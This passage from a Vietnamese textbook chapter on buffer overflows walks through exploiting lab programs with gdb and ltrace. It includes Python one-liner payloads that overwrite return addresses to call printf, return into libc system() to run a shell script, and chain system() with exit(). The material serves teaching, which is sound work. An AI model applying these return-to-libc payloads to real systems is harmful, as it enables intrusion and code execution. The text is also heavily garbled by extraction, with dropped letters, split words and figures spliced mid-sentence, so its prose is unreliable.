tham s dòng l nh cũng đư c truy n vào chương trình qua ngăn x p.5.5./stack5 &buf: 0xbffffa34.2 THƯ VI N CHU N 55 Tên t p tin th c thi Tên t p tin th c thi đư c đ t vào ngăn x p như các bi n môi trư ng. Cho nên chúng ta có th g i chương trình v i tham s “You win!” như sau. QUAY V 3. mv stack5 ’You win!’ 3. .5.4 Chính bi n buf Chương trình nh n d li u nh p và ta hoàn toàn có th nh p vào chu i “You win!” vào chương trình! Chu i nh p vào s đư c lưu trong bi n buf./stack5 ’You win!’ Vi c xác đ nh đ a ch chu i tham s và tên chương trình (c hai đ u là nh ng ph n t c a m ng argv trong chương trình C) s là m t câu đ nh dành cho đ c gi . 3.2 Quay v l nh g i hàm printf Khi đã có chu i c n in trong b nh .3. đ a ch bi n buf đư c thông báo ra màn hình cho chúng ta bi t. 3. regular@exploitation:~/src$ .1.5. Tuy t v i hơn c là ví d này.1. Chúng ta có th l i d ng đi u này đ đưa m t chu i vào cùng nh c a chương trình b ng cách đ i tên chương trình đó thành chu i mong mu n thông qua l nh mv. bi n buf n m t i đ a ch BFFFFA34.1. &cookie: 0xbffffa44 You win! regular@exploitation:~/src$ Trong hình ch p trên. Hãy xem xét các l nh h p ng dùng đ in chu i “You lose!”.3 Tham s dòng l nh Cũng như tên t p tin. . và đ a ch c a nó.5. chúng ta ch c n truy n đ a ch này làm tham s cho hàm printf thì s đ t đư c m c tiêu.

trư c khi đ n l nh CALL t i 080484AE.90-debian Copyright (C) 2006 Free Software Foundation.so. đ nh ngăn x p s ph i ch a đ a ch chu i c n in. gdb$ x/s 0x80485e7 0x80485e7 <_IO_stdin_used+27>: gdb$ "You lose!\n" Như v y..0x10 0x0804849d <main+45>: cmp DWORD PTR [ebp-4].. tr ng thái ngăn x p c n đ t đư c s tương t như Hình 3. There is absolutely no warranty for GDB. Type "show copying" to see the conditions. and you are welcome to change it and/or distribute copies of it under certain conditions. t i đ a ch 080484A9. GDB is free software. Nh n xét này đem l i cho chúng ta ý tư ng quay tr v th ng đ a ch 080484AE n u như ta có th gán đ a ch chu i “You win!” vào đ nh ngăn x p. Inc.0x10 0x0804848e <main+30>: add esp. Chúng ta có th ki m tra chính xác chu i gì đư c đ t t i 080485E7 thông qua l nh x/s. TRÀN B Đ M regular@exploitation:~/src$ gdb . gdb$ Trư c khi th c hi n l nh CALL. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu".0xfffffff4 0x08048491 <main+33>: lea eax.0x10 0x080484b6 <main+70>: mov esp.[ebp-20] 0x08048494 <main+36>: push eax 0x08048495 <main+37>: call 0x804831c <gets@plt> 0x0804849a <main+42>: add esp.ebp 0x080484b8 <main+72>: pop ebp 0x080484b9 <main+73>: ret 0x080484ba <main+74>: nop 0x080484bb <main+75>: nop 0x080484bc <main+76>: nop 0x080484bd <main+77>: nop 0x080484be <main+78>: nop 0x080484bf <main+79>: nop End of assembler dump.4.0xfffffffc 0x08048479 <main+9>: lea eax.1".0x28 0x08048476 <main+6>: add esp. gdb$ disassemble main Dump of assembler code for function main: 0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp.Using host libthread_db library "/ lib/tls/i686/cmov/libthread_db. covered by the GNU General Public License.esp 0x08048473 <main+3>: sub esp./stack5 GNU gdb 6. ch khác là đ a ch tr v s có giá tr 080484AE.0xd0a00 0x080484a4 <main+52>: jne 0x80484b6 <main+70> 0x080484a6 <main+54>: add esp.0xfffffff4 0x080484a9 <main+57>: push 0x80485e7 0x080484ae <main+62>: call 0x804834c <printf@plt> 0x080484b3 <main+67>: add esp.[ebp-20] 0x08048480 <main+16>: push eax 0x08048481 <main+17>: push 0x80485d0 0x08048486 <main+22>: call 0x804834c <printf@plt> 0x0804848b <main+27>: add esp.56 CHƯƠNG 3. l nh PUSH đưa đ a ch c a chu i “You lose!” vào ngăn x p.[ebp-4] 0x0804847c <main+12>: push eax 0x0804847d <main+13>: lea eax. V i phương pháp này.7. .

8. . con tr ngăn x p s d ch lên m t ô ngăn x p như mô t trong Hình 3. Đ main quay v CALL printf thì trư c khi l nh RET ph n k t thúc c a hàm main đư c th c hi n. N u biên d ch và th c thi đo n mã đó. 4 ký t khác đ l p giá tr EBP cũ. đ a ch c a dòng l nh CALL printf. ta s c n 1 + 7 + 4 + 4 = 10 ký t k t thúc chu i (mã ASCII 00) đ l p ch tr ng. chúng ta hãy kh o sát qua m t đo n mã ng n như trong Ngu n 3. Đ đơn gi n hóa v n đ tìm đ a ch . chu i t n d ng c a chúng ta có v như không có tác d ng. } Ngu n 3. Do đó đ a ch chu i s là BFFFFA34 như đã bàn trên và tr ng thái ngăn x p c n đ t đư c mô t như Hình 3.8: scratch.3 Đi tìm chu i b đánh c p Trư c khi tìm hi u v n đ v i vi c t n d ng l i./stack5 &buf: 0xbffffa34. Chúng ta đã xác đ nh đư c đ nh ngăn x p nên chúng ta s đ t t i v trí đó đ a ch chu i “You win!”. Tóm l i. và con tr l nh s ch t i v trí mong mu n.5.3. Sau khi th c hi n l nh RET.5.9. B n đ c có th gi i thích lý do không? & % 3.8.c Vi c còn l i chúng ta c n làm là tìm v trí đ nh ngăn x p sau khi hàm main đã quay v đ a ch 080484AE. chúng ta s c n m t chu i b t đ u v i “You win!”. r i t i 7 ký t b t kỳ đ l p đ y buf. con tr ngăn x p ph i ch t i ô ngăn x p ch a đ a ch tr v . &cookie: 0xbffffa44 Segmentation fault regular@exploitation:~/src$ Chúng ta không nh n đư c chu i “You win!” trên màn hình! ' $ D ng đ c và suy nghĩ M c dù v i các tính toán h p lý. regular@exploitation:~/src$ python -c ’print "You win!" + "\x00"*0x10 + "\xAE\x8 4\x04\x08\x34\xFA\xFF\xBF"’ | . theo sau b i ký t k t thúc chu i. và k t thúc v i đ a ch c a bi n buf. ∗ ( int ∗ ) ( 0 ) = 0 . chúng ta s ch nh n đư c thông báo l i. sau đó 4 ký t đ l p cookie. QUAY V 1 2 3 4 5 main ( ) { THƯ VI N CHU N 57 p r i n t f ( "You win ! " ) . Hay nói cách khác. chúng ta s truy n chu i “You win!” vào chương trình thông qua vi c nh p vào bi n buf.

. (b) Con tr ngăn x p d ch lên 1 ô Hình 3.8: Tr ng thái ngăn x p trư c và sau RET . TRÀN B Đ M .. XX ESP AE XX 84 XX 04 XX 08 ebp cũ cookie buf buf buf buf .... (a) ESP ch đ n ô ngăn x p ch a đ a ch tr v .58 CHƯƠNG 3.... ESP XX AE XX 84 XX 04 XX 08 ebp cũ cookie buf buf buf buf .

Và chu i c n in đã đư c in. 0x804969c.5. Ph i chăng hàm printf đã b b qua? Đ ki m tra xem hàm printf có đư c g i v i tham s chính xác hay không.SIGSEGV (Segmentation fault) --+++ killed by SIGSEGV +++ regular@exploitation:~/src$ K t qu c a vi c theo dõi quá trình ho t đ ng cho th y hàm printf th t ra đã đư c g i v i tham s đúng và ho t đ ng m t cách đúng đ n..> __register_frame_info(0x804958c.9. Đ ki m ch ng.. ho c b đ m này đ l n (vào c vài kilobyte). 0xbffffab4. chúng ta có th l p l i thí nghi m v i m t ít thay đ i trong mã ngu n. 0x8048470 <unfinished . 0xb7fdaff4) = 0 printf("You win!") = 8 --. 0x80484c0. ho c chương trình k t thúc bình thư ng không x y ra l i thì hàm printf m i chuy n chúng ra màn hình.. Công c ltrace theo dõi m i l i g i thư vi n đ ng trong quá trình th c thi c a m t ng d ng.9: Tr ng thái ngăn x p c n đ t đư c regular@exploitation:~/src$ . . 34 AE FA 84 FF 04 BF 08 ebp cũ cookie buf 00 77 BFFFFA34 59 XX 69 6F XX 6E 75 XX 21 20 . 1.3. 0xbffffa08. Hàm printf ch a chu i c n in vào m t b đ m. regular@exploitation:~/src$ ltrace . Chúng ta thêm ký t xu ng dòng vào cu i chu i “You win!” như trong Ngu n 3.. Và th t s là v y. QUAY V THƯ VI N CHU N 59 .. Hình 3. 0x8048370. V y thì lý do ch có th là trong chính b n thân hàm printf./scratch Segmentation fault regular@exploitation:~/src$ Dòng ch “You win!” cũng l ng l bi n m t y như v n đ chúng ta g p ph i. chúng ta có th dùng công c ltrace. Ch khi nào g p ph i ký hi u xu ng dòng../scratch __libc_start_main(0x8048440.

&cooki e: 0xbffffa34 ) = 38 gets(0xbffffa24. 0. chúng ta ph i tìm đ a ch c a bi n buf khi ch y chương trình b l i trong ltrace. 0xb7fdb300./stack5 < exp __libc_start_main(0x8048470. 0x8048510. chu i nh p vào c a chúng ta có chút thay đ i. 0x80482f9. 0xbffffa34&buf: 0xbffffa24.. 0xbffffa08. TRÀN B Đ M Ngu n 3./stack5 __libc_start_main(0x8048470. chúng ta s dùng ltrace đ ki m ch ng li u hàm printf có đư c g i v i tham s mong mu n không. 0x8048510. 0xbffffab4. } CHƯƠNG 3. regular@exploitation:~/src$ python -c ’print "You win!" + "\x00"*0x10 + "\xAE\x8 4\x04\x08\x24\xFA\xFF\xBF"’ > exp regular@exploitation:~/src$ ltrace . 0x8049708.60 1 2 3 4 5 main ( ) { p r i n t f ( "You win ! \ n" ) . &cooki e: 0xbffffa34 ) = 38 gets(0xbffffa24. 0xb8000cc0.. 0xbffffa08.4 Quay tr l i ví d Quay tr l i ví d chúng ta đang xem xét. 0xbffffa24. Và thay vì dùng ng đ truy n th ng vào chương trình.c đã đư c s a regular@exploitation:~/src$ . 0x8049708.5.9: scratch. 0xbffffa38) = 0 +++ exited (status 36) +++ regular@exploitation:~/src$ Đ a ch bi n buf đư c in ra là BFFFFA24. &cookie: %p\n". 1. Do đó. 1) = 0xbffffa24 printf("You win!") = 20 --. 0xb7fdaff4) = 0 printf("&buf: %p.SIGSEGV (Segmentation fault) --+++ killed by SIGSEGV +++ regular@exploitation:~/src$ . 0x80483a0. Trư c tiên. 1 ) = 0xbffffa24 __deregister_frame_info(0x80495f4. 0x80484c0 <unfinished . &cookie: %p\n". 0xbffffa34. 1. chúng ta s chuy n chu i này vào m t t p tin đ s d ng v i ltrace. ∗ ( int ∗ ) ( 0 ) = 0 . 0xbffffa34&buf: 0xbffffa24. 0x80484c0 <unfinished . 0x80482f9. 0xbffffa24. regular@exploitation:~/src$ ltrace . 0x80483a0. 0xbffffab4. > __register_frame_info(0x80495f4. 0xbffffa24../scratch You win! Segmentation fault regular@exploitation:~/src$ 3.. 0xbffffa34. 0xb7fdaff4) = 0 printf("&buf: %p. > __register_frame_info(0x80495f4. 0xbffffa24.

2.5.5. Đ c gi có bi t t i sao không?4 & % 3. Ví d n u g i system(“ls”) thì cũng như chúng ta nh p vào l nh ls trong v sh. chúng ta nh r ng l nh CALL th c ch t s làm hai tác v là đưa đ a ch tr v vào ngăn x p./a You win! regular@exploitation:~/src$ Như các ví d trư c khi quay v CALL printf. và m t s hàm khác. atoi. Tác v th hai làm thay đ i con tr 4 Lý do s đư c gi i thích Ti u m c 3. Th t không may là chương trình c a chúng ta không có b t kỳ l i g i hàm nào t i system.1 G i chương trình ngoài V i trư ng h p tên chương trình là a Cùng nh n tham s là đ a ch c a m t chu i tương t như printf còn có hàm strlen. Hãy đ t tên cho chương trình v này là a và đ t quy n th c thi cho nó. Tuy nhiên.10. và nh y t i đ a ch c a đ i s . và sau đó tìm cách đ chương trình này đư c th c thi thông qua hàm system. M t trong nh ng hàm chúng ta quan tâm là system. 1 #! / b i n / sh 2 echo ’ You win ! ’ Ngu n 3. chúng ta cũng s không nh n đư c chu i mong mu n n u chu i đó đư c đ t đ u bi n buf như hi n t i.5. Hàm system th c thi m t l nh trong v (shell). Chúng ta ph i nghĩ t i cách khác. chúng ta đã tìm ra thêm m t con đư ng đ đ t đ n m c tiêu như minh h a trong Hình 3. . ta cũng ph i đ m b o r ng chương trình v này ho t đ ng theo đúng ý mu n.3.10: a regular@exploitation:~/src$ chmod u+x a regular@exploitation:~/src$ . Đ ng th i. Gi đây. chu i “You win!” th t s đã đư c truy n vào hàm printf như mong đ i.5. Tác v đ u tiên làm cho đ nh ngăn x p ch t i đ a ch tr v .5. ' $ D ng đ c và suy nghĩ Gi s như chúng ta có ký t dòng m i cu i chu i. QUAY V THƯ VI N CHU N 61 Đúng như tính toán.5.5 3. Trư c h t chúng ta s t o ra m t chương trình v đơn gi n in chu i “You win!”. chúng ta s c n tìm đ a ch c a m t l nh g i hàm system trong chương trình. Nhưng vì chúng ta không có ký t dòng m i cu i nên chu i này đã không đư c in ra màn hình. Vì printf không th giúp chúng ta đ t đư c m c tiêu nên chúng ta c n ph i xem xét t i vi c s d ng các hàm này.

62 CHƯƠNG 3.10: Quay v hàm system . TRÀN B Đ M main system dẫn nhập dẫn nhập printf thân gets kết thúc cookie= 000D0A00 no yes printf kết thúc Hình 3.

. Chúng ta có th gán đ a ch này vào ô ngăn x p ch a đ a ch tr v c a hàm main đ khi main k t thúc thì nó s nh y t i system tr c ti p. V n đ còn l i là ta c n xác đ nh ô ngăn x p nào ch a tham s c a system..x..78 FA FF BF A8 2E EC B7 . Đ a ch c a hàm system là B7EE3990..00 00 00 00 00 00 00 00 0.[ebp-4] 0x804847c <main+12>: push eax 0x804847d <main+13>: lea eax. --------------------------------------------------------------------------[regs] EAX: BFFFFAA4 EBX: B7FDAFF4 ECX: B7EC2E6D EDX: 00000001 o d I t S z a P c ESI: 00000000 EDI: B8000CC0 EBP: BFFFFA28 ESP: BFFFFA00 EIP: 08048476 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [007B:BFFFFA00]----------------------------------------------------------[stack] BFFFFA50 : 30 FA FF BF 6D 2E EC B7 . t c đ a ch hàm system.3. Type "show copying" to see the conditions. GDB is free software.Using host libthread_db library "/ lib/tls/i686/cmov/libthread_db.(.. T i th i đi m này. regular@exploitation:~/src$ gdb .. chúng ta s s d ng đ n GDB... hàm system là m t hàm trong b thư vi n chu n cho nên m c dù chương trình không tr c ti p s d ng hàm system.28 FA FF BF 29 85 04 08 ...x.0xfffffffc 0x8048479 <main+9>: lea eax... BFFFFA20 : 00 00 00 00 C0 0C 00 B8 .. gdb$ break main Breakpoint 1 at 0x8048476 gdb$ run Failed to read a valid object file image from memory..0x10 -------------------------------------------------------------------------------Breakpoint 1.... Khi chương trình ch y.00 00 00 00 F4 AF FD B7 .... BFFFFA40 : F4 AF FD B7 00 00 00 00 ..[ebp-20] 0x8048480 <main+16>: push eax 0x8048481 <main+17>: push 0x80485d0 0x8048486 <main+22>: call 0x804834c <printf@plt> 0x804848b <main+27>: add esp... 0x08048476 in main () gdb$ print system $1 = {<text variable. Cũng như printf. . ta ph i tìm đư c đ a ch c a đ i s c a l nh CALL.. Đ thay th đư c l nh CALL. [0073:08048476]-----------------------------------------------------------[code] 0x8048476 <main+6>: add esp. no debug info>} 0xb7ee3990 <system> gdb$ L nh break main đ t m t đi m d ng t i hàm main c a chương trình. BFFFFA00 : 01 00 00 00 A4 FA FF BF . nhưng hàm này cũng đư c t i vào b nh khi b thư vi n đư c t i vào... L nh run th c thi chương trình............ covered by the GNU General Public License. This GDB was configured as "i486-linux-gnu"..1". chương trình đã đư c t i lên b nh hoàn toàn cho nên b thư vi n chu n cũng đã đư c t i...4. QUAY V THƯ VI N CHU N 63 l nh và chính là m u ch t c a l nh CALL./stack5 GNU gdb 6....... và đi m d ng đã thi t l p s ch n chương trình ngay đ u hàm main. Type "show warranty" for details......). Inc..AC FA FF BF 00 00 00 00 ..... BFFFFA30 : 01 00 00 00 A4 FA FF BF ... There is absolutely no warranty for GDB........ Cu i cùng chúng ta dùng l nh print system đ in đ a ch hàm system..90-debian Copyright (C) 2006 Free Software Foundation. and you are welcome to change it and/or distribute copies of it under certain conditions... hàm main s đư c g i.so.5.. BFFFFA10 : 8C 8C EB B7 F4 AF FD B7 ......m.C0 0C 00 B8 78 FA FF BF ..... Đ tìm đ a ch c a system....

tham s đ u tiên c a hàm s là ô ngăn x p ngay bên trên đ nh ngăn x p. và BF xác đ nh v trí bi n buf. con tr ngăn x p s ch đ n ô ngăn x p ch a đ a ch tr v c a hàm đ y. . Và khi th c hi n t n d ng l i. và B7 xác đ nh đ a ch c a hàm system.. EE. khi con tr l nh đã ch đ n ph n d n nh p c a hàm. Khi quay v hàm tr c ti p. chúng ta s nh n đư c k t qu tương t như hình ch p sau. Hình 3. d a vào mô hình c u trúc ngăn x p đã minh h a trong Hình 2. 39. TRÀN B Đ M .. Chúng ta s nh p chu i . FA.11.64 CHƯƠNG 3. và quay tr v hàm m t cách tr c ti p chính là m t ô ngăn x p dư. Trong c hai trư ng h p. Và đ nh ngăn x p hi n t i chính là ô ngăn x p ngay bên trên đ a ch tr v c a main như đã kh o sát ví d trư c. 4 ký t khác đ l p đ y cookie.4.. ch có con tr l nh b thay đ i ch đ n đ a ch hàm. 34 XX 90 FA XX 39 FF XX EE BF XX B7 ebp cũ cookie buf buf buf BFFFFA34 2E 2F 61 00 . Khi quay v l nh g i hàm. r i C ký t b t kỳ đ l p đ y buf. Do đó. trong Ti u m c 3. Hình 3. Chúng ta đã có đ y đ các y u t đ t n d ng l i thông qua vi c s d ng m t chương trình ngoài. con tr ngăn x p v n gi nguyên v trí c a nó. và 4 ký t có mã ASCII l n lư t là 34./a. tác v đ u tiên c a l nh CALL s d ch chuy n con tr ngăn x p xu ng m t ô ngăn x p trư c khi con tr l nh chuy n đ n đ a ch hàm. r i 4 ký t có mã ASCII l n lư t là 90.4. theo sau b i m t ký t k t thúc chu i. 4 ký t b t kỳ đ l p đ a ch tr v c a hàm system.11: Tr ng thái ngăn x p đ quay v hàm system Đ c gi s th y s khác nhau gi a vi c quay tr v l nh g i hàm.. FF. thêm 4 ký t n a đ l p giá tr EBP cũ.11 miêu t tr ng thái ngăn x p c n đ t đư c.

/abc và gi m b t 2 byte đ m trong câu l nh t n d ng như sau. regular@exploitation:~/src$ python -c ’print ". và vô tình k t n i t i c nh ng hàm không c n thi t ví d như system./abc" + "\x00"*(1+0x0C+4+4-2) + " \x90 \x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./de: No such file or directory Segmentation fault regular@exploitation:~/src$ Qu th t.5. có v như chương trình ch nh n hai ký t đ u c a tên t p tin truy n vào./ab: No such file or directory Segmentation fault regular@exploitation:~/src$ Chúng ta không nh n đư c dòng ch mong mu n! Thay vào đó.2 V i trư ng h p tên chương trình là abc Ph n này đơn gi n ch m r ng nh ng gì chúng ta đã bàn ph n trư c. &cookie: 0xbffffa44 You win! Segmentation fault regular@exploitation:~/src$ Chúng ta đã thành công v i cách t n d ng l i m i.3. &cookie: 0xbffffa44 sh: ./ab. phương pháp đơn gi n nh t đ ép chương trình th c thi t p tin abc trong khi ta ch có th s d ng hai ký t là t o m t liên k t m m (soft ./defg" + "\x00"*(1+0x0C+4+4-3) + "\x90 \x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | . Đ ki m ch ng. 3./stack5 &buf: 0xbffffa34. Đi u đáng chú ý là ./stack5 &buf: 0xbffffa34./ab có v như xu t phát t . thì chúng ta c n thay đ i nh ng gì đ đ t đư c cùng k t qu ? Quá đơn gi n. Phương pháp quay tr v m t hàm tr c ti p trong thư vi n chu n (ví d như system) đư c g i là quay v thư vi n chu n (return to libc).5. &cookie: 0xbffffa44 sh: . • Quay v thư vi n chu n không g p ph i nh ng rào c n v kh năng th c thi c a mã l nh như đ i v i các phương pháp quay v m t vùng nh ch a d li u khác./abc. Phương pháp này có hai ưu đi m chính: • S lư ng các hàm trong b thư vi n chu n r t nhi u./a thành ./stack5 &buf: 0xbffffa34.5. chúng ta nh n đư c m t thông báo l i không tìm đư c t p tin . Do đó./de. do đó đa s các chương trình đ u s dùng t i b thư vi n chu n cho m c đích này hay m c đích kia. chúng ta s thay ./defg và hy v ng thông báo l i s tr thành không tìm th y t p tin . V n đ đư c đ t ra đây là n u tên chương trình ngoài là abc thay vì a. chúng ta ch c n thay . QUAY V THƯ VI N CHU N 65 regular@exploitation:~/src$ python -c ’print "./abc thành . regular@exploitation:~/src$ mv a abc regular@exploitation:~/src$ python -c ’print "./a" + "\x00"*(1+0x0C+4+4) + "\x90 \x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | .

66

CHƯƠNG 3. TRÀN B

Đ M

link) đ n t p tin abc. Hình ch p sau t o liên k t m m tên de, ch t i t p tin abc, và th c hi n t n d ng l i y h t như trên.

regular@exploitation:~/src$ ln -s abc de regular@exploitation:~/src$ python -c ’print "./defg" + "\x00"*(1+0x0C+4+4-3) + "\x90 \x39\xEE\xB7" + "aaaa" + "\x34\xFA\xFF\xBF"’ | ./stack5 &buf: 0xbffffa34, &cookie: 0xbffffa44 You win! Segmentation fault regular@exploitation:~/src$

Tuy đã đ t đư c m c đích nhưng chúng ta v n chưa gi i thích đư c lý do t i sao hàm system ch nh n hai ký t đ u tiên. ' $

D ng đ c và suy nghĩ
B n đ c có th th b chu i ./ đ u đ ti t ki m thêm 2 ký t n a. Nh thi t l p bi n môi trư ng PATH ch t i thư m c ch a t p tin đ y, và c n th n v i s thay đ i c a đ a ch bi n buf. &  % 

D ng đ c và suy nghĩ
Hãy th suy nghĩ v lý do c a s c t khúc.  Khi con tr l nh đã chuy n đ n ph n d n nh p c a system thì con tr ngăn x p đang ch t i ô ngăn x p ngay trên đ a ch tr v c a hàm main. Ph n d n nh p c a system s kh i t o m t vùng nh ngăn x p cho hàm system b ng cách gi m giá tr c a ESP, làm cho ESP ch đ n m t ô ngăn x p nào đó bên dư i như đã đư c bàn đ n trong Ti u m c 2.3.1. Các bi n n i b c a system s đư c lưu trong vùng nh ngăn x p này và chúng ch ng lên ph n d li u c a bi n buf. Trong trư ng h p này, có l hàm system đã s d ng 24 (th p phân) byte nên v n còn 4 byte đ u c a buf chưa b m t h n, d n đ n s c t khúc như chúng ta th y. Hình 3.12 minh h a s ch ng l p vùng nh ngăn x p c a hàm system lên vùng nh ngăn x p cũ c a hàm main khi c th th c thi ./abc. Bên trái là tr ng thái b nh khi v a th c hi n l nh RET ph n k t thúc c a main, và bên ph i mô t các ô ngăn x p đư c s d ng trong hàm system. Đ tránh d li u c a chúng ta b ch ng l p thì chúng ta ph i đ t nó v trí khác. Chúng ta có th đ t chu i ./abc vào sau bi n buf thay vì trư c như trong hình ch p bên dư i. 

3.5. QUAY V

THƯ VI N CHU N

67

ESP ô chứa địa chỉ trở về của main &cookie

34 61 90 00 00 00 00 63

FA 61 39 00 00 00 00 00 2F

FF 61 EE 00 00 00 00 00 61

BF 61 B7 00 00 00 00 00 62

34 61

FA 61

FF 61

BF 61

system system system system system system 2E 2F 61 62

&buf= BFFFFA34

2E

Hình 3.12: Vùng nh ngăn x p hàm system ch ng lên bi n buf

regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x B7" + "aaaa" + "\x58\xFA\xFF\xBF./abc\x00"’ | ./stack5 &buf: 0xbffffa34, &cookie: 0xbffffa44 You win! Segmentation fault regular@exploitation:~/src$

Vì chúng ta chuy n chu i ra phía sau nên đ a ch chu i s là BF F F F A34 + 24 = BF F F F A58, t c là đ a ch c a bi n buf c ng thêm kho ng cách t bi n buf t i chu i ./abc. Và b n thân bi n buf s đư c l p đ y b ng ký t b t kỳ. Xem Hình 3.13. Ho c ta cũng có th s d ng bi n môi trư ng như sau.
regular@exploitation:~/src$ export EGG=’./abc’ regular@exploitation:~/src$ ./getenv bffffc39 regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x B7" + "aaaa" + "\x39\xFC\xFF\xBF"’ | ./stack5 &buf: 0xbffffa34, &cookie: 0xbffffa44 You win! Segmentation fault regular@exploitation:~/src$

B n đ c c n chú ý r ng vì đ dài c a getenv và stack5 là như nhau (cùng 6 ký t ) nên đ a ch do getenv cung c p có th đư c s d ng ngay v i stack5 mà không c n đi u ch nh. Cách s d ng bi n môi trư ng có v ti n l i hơn so

68

CHƯƠNG 3. TRÀN B

Đ M

... 63 BFFFFA58 2E 58 61 90 00 &cookie 00 00 00 00 BFFFFA34 00 00 2F FA 61 39 00 00 00 00 00 00 XX 61 FF 61 EE 00 00 00 00 00 00 XX 62 BF 61 B7 00 00 00 00 00 00

...

Hình 3.13: Đ t ./abc vào cu i chu i

v i nh ng gì chúng ta đã làm.

3.6

Quay v thư vi n chu n nhi u l n

Có m t đi m không hay nh ng câu l nh t n d ng mà chúng ta đã xem qua. Tuy chúng ta v n in đư c chu i c n in nhưng đ ng th i chúng ta cũng làm chương trình g p l i phân đo n (segmentation fault). nh ng chương trình đư c thi t k t t, vi c g p ph i m t l i tương t như th này s khi n cho ngư i qu n tr đư c c nh báo và d n đ n vi c t n d ng l i g p nhi u khó khăn hơn. Chúng ta hãy xem xét m t chương trình như th trong Ngu n 3.11. Th t ra chương trình này ch thêm vào m t ph n x lý tín hi u (signal handler) SIGSEGV đ in ra màn hình dòng ch “You still lose!”. Tín hi u SIGSEGV đư c h đi u hành g i t i chương trình khi chương trình m c ph i l i phân đo n. Trư c h t, chúng ta c n ph i tìm hi u t i sao các câu l nh t n d ng l i c a chúng ta l i làm cho chương trình m c ph i l i phân đo n. Nh l i r ng chúng ta đã s d ng cách quay v thư vi n chu n đ ép hàm main khi thoát s nh y t i hàm system. Hàm system cũng như nhi u hàm khác, khi th c hi n xong tác v cũng s ph i tr v hàm g i nó. Trong Hình 3.13, đ a ch tr v c a system là 61616161. Đ a ch này thông thư ng không đư c ánh x vào b nh nên khi con tr l nh quay v đ a ch đó, chương trình không th đ c l nh t b nh , gây ra l i phân đo n. Đ kh c ph c l i, chúng ta ph i ép hàm system quay v m t l nh, ho c m t hàm nào đó đ ch m d t chương trình, không ti p t c quay v hàm g i nó. M t

đ không còn vư ng l i phân đo n thì chúng ta ch c n cho system quay v exit như Hình 3.14. Như v y. h> 2 #include <s i g n a l . Công vi c c n làm s bao g m tìm đ a ch exit và thay đ a ch này vào v trí c a 4 ký t a trong câu l nh tân d ng l i c a chúng ta. 13 } 14 15 int main ( ) 16 { 17 int c o o k i e .11: stack6. Đ a ch này là B7ED92E0. Hàm exit ch m d t ho t đ ng c a m t chương trình v i mã k t thúc là tham s đư c truy n vào. buf . Đ a ch c a hàm exit (là m t hàm trong b thư vi n chu n) có th đư c tìm thông qua GDB tương t như khi chúng ta tìm đ a ch c a system. 20 p r i n t f ( "&buf : %p .3. K thu t này là s phát tri n c a quay v . 21 g e t s ( buf ) . QUAY V THƯ VI N CHU N NHI U L N 69 1 #include <s t d i o . 18 char buf [ 1 6 ] . 7 a b o r t ( −1). segv_handler ) . &c o o k i e ) . 8 } 9 10 void i n i t ( ) 11 { 12 s i g n a l (SIGSEGV . &cookie: 0xbffffa44 You win! regular@exploitation:~/src$ K thu t mà chúng ta v a xem xét qua đư c g i là quay v thư vi n chu n nhi u l n (chained return to libc). 22 i f ( c o o k i e == 0x000D0A00 ) 23 { 24 p r i n t f ( "You l o s e ! \ n" ) . câu l nh t n d ng l i c a chúng ta s tương t như hình ch p bên dư i. h> 3 4 void segv_handler ( int s i g n a l ) 5 { 6 p r i n t f ( "You s t i l l l o s e ! \ n" ) .6. Vì chúng ta không quan tâm t i mã k t thúc c a chương trình nên chúng ta cũng không c n quan tâm đ n tham s c a hàm. 19 init (). &c o o k i e : %p\n" . regular@exploitation:~/src$ python -c ’print "\x00"*(0x10+4+4) + "\x90\x39\xEE\x B7" + "\xE0\x92\xED\xB7" + "\x39\xFC\xFF\xBF"’ | . Cu i cùng.c trong nh ng hàm không quay v là hàm exit./stack6 &buf: 0xbffffa34. 25 } 26 } Ngu n 3.

Tuy nhiên. • Quá trình t n d ng l i đòi h i ngư i t n d ng tr l i hai câu h i quan tr ng: c n đưa d li u gì. Trong ví d xét ph n này. Gi i thích c n k câu l nh trên đư c dành làm m t câu đ nh cho b n đ c. 3. trư c h t ngư i t n d ng l i ph i hi u rõ cách th c ho t đ ng c a b n thân chương trình. • N u chương trình đ c t b nh p chu n. GDB có th cho chúng ta bi t nhi u thông tin v chương trình ví d như các l nh h p ng . c a các thư vi n chúng s d ng. đ a ch tr v c a m t hàm trong ngăn x p. TRÀN B Đ M thư vi n chu n nh m th c hi n nhi u hơn m t tác v trong m t l n t n d ng. Python là m t trong nh ng ngôn ng đư c s d ng ph bi n. • Ngôn ng k ch b n giúp ngư i t n d ng l i ti t ki m r t nhi u th i gian. và các hàm đư c g i.7 Tóm t t và ghi nh • L i tràn b đ m là m t trong các l i nguy hi m nh t và v n ph bi n đ n ngày nay. n u s p x p các giá tr và th t g i hàm chu n xác thì chúng ta có th quay v thư vi n chu n nhi u l n hơn n a. ho c chuy n hư ng đ thay đ i dòng nh p vào chương trình. th m chí là các mã máy tương ng. S hi u bi t v nhi u m t cũng giúp ngư i t n d ng l i tìm ra phương pháp khác thay vì c g ng làm theo phương pháp cũ đã b ch n. S hi u bi t này giúp cho ngư i t n d ng l i nhanh chóng kh c ph c ho c vư t qua nh ng c n tr trong b n thân chương trình. đ a ch các l nh này. và làm sao đ đưa d li u đó vào chương trình. B n ch t l i tràn b đ m đơn gi n là d li u nh p vư t quá vùng nh đư c c p đ ch a nó. m t c quan tr ng. • Đ t n d ng m t chương trình. Hai câu h i này ch có th đư c tr l i khi ngư i t n d ng hi u rõ cách ho t đ ng c a chương trình. không c n sprintf trư c./stack6 &buf: 0xbffffa34.70 CHƯƠNG 3. S nguy hi m x y ra khi các d li u quan tr ng đ i v i chương trình n m phía sau vùng nh b tràn vì d li u tràn có th làm thay đ i các d li u quan tr ng đ y. . • Các d li u quan tr ng nh hư ng đ n quá trình ho t đ ng c a chương trình có th là m t bi n. chúng ta quay v thư vi n chu n hai l n đ th c hi n m t l nh và thoát kh i chương trình. &cookie: 0xbffffa44 You win!regular@exploitation:~/src$ Dòng l nh t n d ng trên k t n i main sprintf printf exit ch mang tính gi i thi u và không có giá tr th 